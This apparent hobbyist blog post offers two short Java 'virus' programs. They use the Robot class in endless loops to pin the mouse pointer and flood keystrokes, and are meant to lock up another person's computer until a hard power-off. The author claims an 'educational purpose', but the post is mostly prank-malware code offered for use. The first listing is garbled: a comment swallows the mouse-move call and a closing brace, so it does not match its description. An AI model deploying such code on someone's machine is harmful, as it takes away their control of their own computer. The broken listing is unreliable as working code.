Hacking the mouse and keyboard




Hacking mouse and keyboard



Hello Friends , here i (Shashank sahu) am back with a

new interesting java virus code which is capable of hacking the mouse and keyboard. The hacking code below will stuck your mouse at a specific position on the computer screen.And will not allow to move it.The only method to get rid of it is to sign out and re sign in or you can simply restart the computer. But here you couldn't move the mouse so how will you do that without touching the power button. I know it is simple you could use the keyboard shortcuts to restart it but what  if this code also hack the keyboard. Then there is no other option left except to use the power button of you system. Below is the complete code which is capable of doing what is said above.


*All virus codes given here are for educational purpose author will take no responsibility for any misuse whatsoever*














 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
public class HackKeyMouse
{
public static void main(String[] args)
{
try
{
Robot robot = new Robot();
while(true)
{
robot.keyPress(KeyEvent.VK_H);//repeatedly type H so keyboard does not work robot.mouseMove(100,100);//repeatedly move mouse pointer to (100,100) so it stucks }
}
catch (AWTException e)
{
e.printStackTrace();
}
}
}
If you want to do something more funny rather than simply hanging the computer then you should have a look at the code which is given below.
So what the difference here below code will not hang the mouse it will simply hack the keyboard .If the client will open any text editor like notepad or word.Above code will repeatedly start typing fool.







 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.awt.AWTException;
import java.awt.Robot;
import java.awt.event.KeyEvent;
public class HackKeyMouse
{
public static void main(String[] args)
{
try
{
Robot robot = new Robot();
while(true)
{
//repeatedly type fool
robot.keyPress(KeyEvent.VK_F);
robot.keyPress(KeyEvent.VK_O);
robot.keyPress(KeyEvent.VK_O);
robot.keyPress(KeyEvent.VK_L);
}
}
catch (AWTException e)
{
e.printStackTrace();
}
}
}

Comments

Popular Posts